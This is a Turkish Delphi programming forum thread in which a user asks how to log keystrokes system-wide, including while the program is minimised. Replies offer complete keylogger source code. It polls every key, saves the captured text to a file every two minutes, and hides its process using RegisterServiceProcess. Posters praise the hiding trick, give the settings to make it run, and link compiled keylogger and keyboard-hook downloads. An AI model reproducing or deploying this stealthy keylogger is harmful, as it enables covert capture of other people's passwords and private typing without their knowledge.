tuş takibi

Delphi'de kod yazma ile ilgili sorularınızı bu foruma yazabilirsiniz.
Kullanıcı avatarı
calvan
Üye
Mesajlar: 119
Kayıt: 16 Haz 2003 05:10

tuş takibi

Mesaj gönderen calvan »

Merhaba,

klavyeden basılan tuşları izlemek istiyorum. Formda aradım bunun için hook denilen bir yöntemden bahsediliyor. ( Program min. edilmişken de baılan tuşları algılamalı) Küçük bir örneği olan var mı?

teşekkürler
Kullanıcı avatarı
MicroChip
Kıdemli Üye
Mesajlar: 1119
Kayıt: 02 Ağu 2003 01:02
Konum: İstanbul
İletişim:

Mesaj gönderen MicroChip »

keylogger gibi bişey için mi?
eğer öyle ise
torry den keylogger diye aratırsanız istediğinizi alırsınız. örnek kodlar da var
Kafkas Kartalı Kabarday
Sitesi!= http://www.ahmetceylan.com
Resim
Kullanıcı avatarı
calvan
Üye
Mesajlar: 119
Kayıt: 16 Haz 2003 05:10

Mesaj gönderen calvan »

arattım ama dediğin tarz bir örnek bulamadım.
Kullanıcı avatarı
gkimirti
Admin
Mesajlar: 1956
Kayıt: 02 Eyl 2003 04:44
Konum: İstanbul

Mesaj gönderen gkimirti »

google groups ta epey bir baslık var bu konuda
delphi key hooking diye arat
ÜŞENME,ERTELEME,VAZGEÇME
Kullanıcı avatarı
MicroChip
Kıdemli Üye
Mesajlar: 1119
Kayıt: 02 Ağu 2003 01:02
Konum: İstanbul
İletişim:

Mesaj gönderen MicroChip »

oke eve gidince bir ara örnek kodları gönderirim sana
Kafkas Kartalı Kabarday
Sitesi!= http://www.ahmetceylan.com
Resim
Kullanıcı avatarı
mrmarman
Üye
Mesajlar: 4740
Kayıt: 09 Ara 2003 08:13
Konum: İstanbul
İletişim:

Mesaj gönderen mrmarman »

@MicroChip

- Örnek gönderince seninkini de inceleriz...

- http://www.Torry.Net sitesinde bir örnek gördüm... Linki
http://www.swissdelphicenter.ch/torry/s ... hp?id=1722

- İlk olarak bir DLL kaynak kodu var. Bu DLL, Hook operasyonunu takip ediyor... Sonra da bir tuşa basılmışsa DLL'ye parametre olarak gönderilen Memo'nun handle'i yardımıyla basılan tuşları bu memo'ya basıyor...

- DLL olduğundan da kolaylıkla da hafızadan atılabiliyor...

- Örnek programda ise bir Label bir Memo bir Start butonu bir de Stop butonu oluyor... Start butonuna basınca Hook İşlemi başlıyor ve programda olsun Windows'un herhangi bir yerinde olsun basılan tuşları görüntülüyor.
Resim
Resim ....Resim
Kullanıcı avatarı
calvan
Üye
Mesajlar: 119
Kayıt: 16 Haz 2003 05:10

Mesaj gönderen calvan »

ya çok şey istediğimin farkındayım ama o ornekte de ilerleyemedim. bazı dosyaların eksik olduğunu düşünüyorum. Bi inceleseniz mesela madExcept diye bir dosya yok zannedersem.

:wink: :wink:

birde dll nasıl oluşturuluyor du :oops:
Kullanıcı avatarı
mrmarman
Üye
Mesajlar: 4740
Kayıt: 09 Ara 2003 08:13
Konum: İstanbul
İletişim:

Mesaj gönderen mrmarman »

O satırı sil... Söylemeyi unutmuşum....

// Edit //

- Bu işlemin bir DLL içinde yapılması gerekliliği ise şöyle açıklanıyor...

- Sistem bazında kanca operasyonu (SystemWide Hook) yapabilmek için çalışan tüm programların adres alanına yüklenebilme özelliğinden dolayı bir DLL tarafından işlemlerin yürütülmesi gerekiyor...

- Sizin programınıza ise, programınızın handle (windows tarafından verilen numara, tutamaç numarası) aracılığıyla kullanıcı tanımlı mesaj ile aktarılıyor...

- Yada bu verilen linkteki örnekteki gibi, programınızı Handle numarasını değil de yazacağınız nesnenin handle numarasını vererek direkt oraya işlem yapılmasını tercih edebiliniyor...

- Örnek çoğaltılabilir...
En son mrmarman tarafından 18 Mar 2004 06:03 tarihinde düzenlendi, toplamda 1 kere düzenlendi.
Resim
Resim ....Resim
Kullanıcı avatarı
calvan
Üye
Mesajlar: 119
Kayıt: 16 Haz 2003 05:10

Mesaj gönderen calvan »

tamamdır , herkeze teşekkürler
Kullanıcı avatarı
MicroChip
Kıdemli Üye
Mesajlar: 1119
Kayıt: 02 Ağu 2003 01:02
Konum: İstanbul
İletişim:

Mesaj gönderen MicroChip »

İşte çok basit bir keylogger kodu:
@mrmcop inceleyebilirsin dostum (hala scrollbarı yapmadım vakit arıyom :)

Kod: Tümünü seç

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, StdCtrls;

type
  TForm1 = class(TForm)
    Memo1: TMemo;
    Timer1: TTimer;
    Timer2: TTimer;
    procedure Timer1Timer(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
const
  RSP_SIMPLE_SERVICE = 1;
  RSP_UNREGISTER_SERVICE = 0;

implementation

{$R *.DFM}
var  F:Textfile;
//Detect Press Key From any window
procedure TForm1.Timer1Timer(Sender: TObject);
var
      i : byte;
begin

  for i:=8 To 222 do
    begin
       if GetAsyncKeyState(i)=-32767 then
        begin
        case i of
        8  : memo1.Lines[memo1.Lines.count-1] := copy(memo1.Lines[memo1.Lines.count-1],1,length(memo1.Lines[memo1.Lines.count-1])-1); //Backspace
        9  : memo1.text:=memo1.text+'[Tab]';
        13 : memo1.text:=memo1.text+#13#10; //Enter
        17 : memo1.text:=memo1.text+'[Ctrl]';
        27 : memo1.text:=memo1.text+'[Esc]';
        32 :memo1.text:=memo1.text+' '; //Space
        // Del,Ins,Home,PageUp,PageDown,End
        33 : memo1.text := Memo1.text + '[Page Up]';
        34 : memo1.text := Memo1.text + '[Page Down]';
        35 : memo1.text := Memo1.text + '[End]';
        36 : memo1.text := Memo1.text + '[Home]';
        //Arrow Up Down Left Right
        37 : memo1.text := Memo1.text + '[Left]';
        38 : memo1.text := Memo1.text + '[Up]';
        39 : memo1.text := Memo1.text + '[Right]';
        40 : memo1.text := Memo1.text + '[Down]';

        44 : memo1.text := Memo1.text + '[Print Screen]';
        45 : memo1.text := Memo1.text + '[Insert]';
        46 : memo1.text := Memo1.text + '[Del]';
        145 : memo1.text := Memo1.text + '[Scroll Lock]';

        //Number 1234567890 Symbol !@#$%^&*()
        48 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+')'
             else memo1.text:=memo1.text+'0';
        49 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'!'
             else memo1.text:=memo1.text+'1';
        50 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'@'
             else memo1.text:=memo1.text+'2';
        51 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'#'
             else memo1.text:=memo1.text+'3';
        52 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'$'
             else memo1.text:=memo1.text+'4';
        53 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'%'
             else memo1.text:=memo1.text+'5';
        54 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'^'
             else memo1.text:=memo1.text+'6';
        55 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'&'
             else memo1.text:=memo1.text+'7';
        56 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'*'
             else memo1.text:=memo1.text+'8';
        57 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'('
             else memo1.text:=memo1.text+'9';
        65..90 : // a..z , A..Z
            begin
            if ((GetKeyState(VK_CAPITAL))=1) then
                if GetKeyState(VK_SHIFT)<0 then
                   memo1.text:=memo1.text+LowerCase(Chr(i)) //a..z
                else
                   memo1.text:=memo1.text+UpperCase(Chr(i)) //A..Z
            else
                if GetKeyState(VK_SHIFT)<0 then
                    memo1.text:=memo1.text+UpperCase(Chr(i)) //A..Z
                else
                    memo1.text:=memo1.text+LowerCase(Chr(i)); //a..z
            end;
        //Numpad
        96..105 : memo1.text:=memo1.text + inttostr(i-96); //Numpad  0..9
        106:memo1.text:=memo1.text+'*';
        107:memo1.text:=memo1.text+'&';
        109:memo1.text:=memo1.text+'-';
        110:memo1.text:=memo1.text+'.';
        111:memo1.text:=memo1.text+'/';
        144 : memo1.text:=memo1.text+'[Num Lock]';

        112..123: //F1-F12
            memo1.text:=memo1.text+'[F'+IntToStr(i - 111)+']';

        186 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+':'
              else memo1.text:=memo1.text+';';
        187 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'+'
              else memo1.text:=memo1.text+'=';
        188 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'<'
              else memo1.text:=memo1.text+',';
        189 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'_'
              else memo1.text:=memo1.text+'-';
        190 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'>'
              else memo1.text:=memo1.text+'.';
        191 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'?'
              else memo1.text:=memo1.text+'/';
        192 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'~'
              else memo1.text:=memo1.text+'`';
        219 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'{'
              else memo1.text:=memo1.text+'[';
        220 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'|'
              else memo1.text:=memo1.text+'\';
        221 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'}'
              else memo1.text:=memo1.text+']';
        222 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'"'
              else memo1.text:=memo1.text+'''';
        end;
        end;
    end;
end;


//SAVE THE TEXT  every 2 minutes 
procedure TForm1.Timer2Timer(Sender: TObject);
begin
        Assignfile(F,'Save.txt');
        if not FileExists('Save.txt') Then
        begin
                Rewrite(F);
                Closefile(F);
        End
        Else
        Assignfile(F,'Save.txt');
        {$I-}
        Append(F);
        {$I+}
        If IOResult<> 0 Then
        Begin
                ShowMessage('Cannot Open File');
        End;
        Write(F,Memo1.Text);
        Memo1.Clear;
        Closefile(F);
end;
function  RegisterServiceProcess(dwProcessID,dwType : DWORD) : DWORD;
stdcall; external 'KERNEL32.DLL';


procedure TForm1.FormCreate(Sender: TObject);
begin
RegisterServiceProcess(GetCurrentProcessID,RSP_SIMPLE_SERVICE);
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
RegisterServiceProcess(GetCurrentProcessID,RSP_UNREGISTER_SERVICE);
end;

end.

Kolay Gelsin
Kafkas Kartalı Kabarday
Sitesi!= http://www.ahmetceylan.com
Resim
Kullanıcı avatarı
mrmarman
Üye
Mesajlar: 4740
Kayıt: 09 Ara 2003 08:13
Konum: İstanbul
İletişim:

Mesaj gönderen mrmarman »

@MicroChip

- Verdiğin örnek güzel de çalışıyor... :)

- RegisterServiceProcess kullanımı da zekice düşünülmüş...

- Deneyecek diğer arkadaşlara hatırlatma... Timer1 Interval'i 1, Timer2 Interval'i ise 120000 yapacaksınız...

- Çalışmalarınızda başarılar..
Resim
Resim ....Resim
Kullanıcı avatarı
calvan
Üye
Mesajlar: 119
Kayıt: 16 Haz 2003 05:10

Mesaj gönderen calvan »

the procedure entry point RegisterServiceProcess could not be located in the dynamic link library kERNEL32.dll
Kullanıcı avatarı
mrmarman
Üye
Mesajlar: 4740
Kayıt: 09 Ara 2003 08:13
Konum: İstanbul
İletişim:

Mesaj gönderen mrmarman »

- Bende çalışıyor demiştim... Sistemi tanıtayım...
OS : WinME
Delphi 5.0 kullanıyorum...

- Denediğim haliyle projenin derlenmiş hali ile kaynak kodu zip'li halini şu likten çekip deneyin... (150kb)

- Linkin üzerine sağ mouse ile tıklayıp farklı kaydet deyin. Geocities bazen sorun yaratıp linki normal metin gibi açmaya çalışıyor...

http://www.geocities.com/divxdosya/keyl ... rochip.zip
Resim
Resim ....Resim
Kullanıcı avatarı
calvan
Üye
Mesajlar: 119
Kayıt: 16 Haz 2003 05:10

Mesaj gönderen calvan »

belirttiğin yerdeki programda aynı hatayı veriyor. Sistem : WinXp, Delphi7
Kullanıcı avatarı
mrmarman
Üye
Mesajlar: 4740
Kayıt: 09 Ara 2003 08:13
Konum: İstanbul
İletişim:

Mesaj gönderen mrmarman »

Selam...

- Büyük ihtimalle WinXP ile ilgili... Demek geriye kalan DLL yazma olayını yapıcan...

- Bunun örneğini de 170 kb'lık zip'lı dosya olarak....

http://www.geocities.com/divxdosya/keyboardhook.zip

linkinden çekebilirsin... Yine sağ mouse basıp farklı kaydet deyin...

- Başarılar...
Resim
Resim ....Resim
Cevapla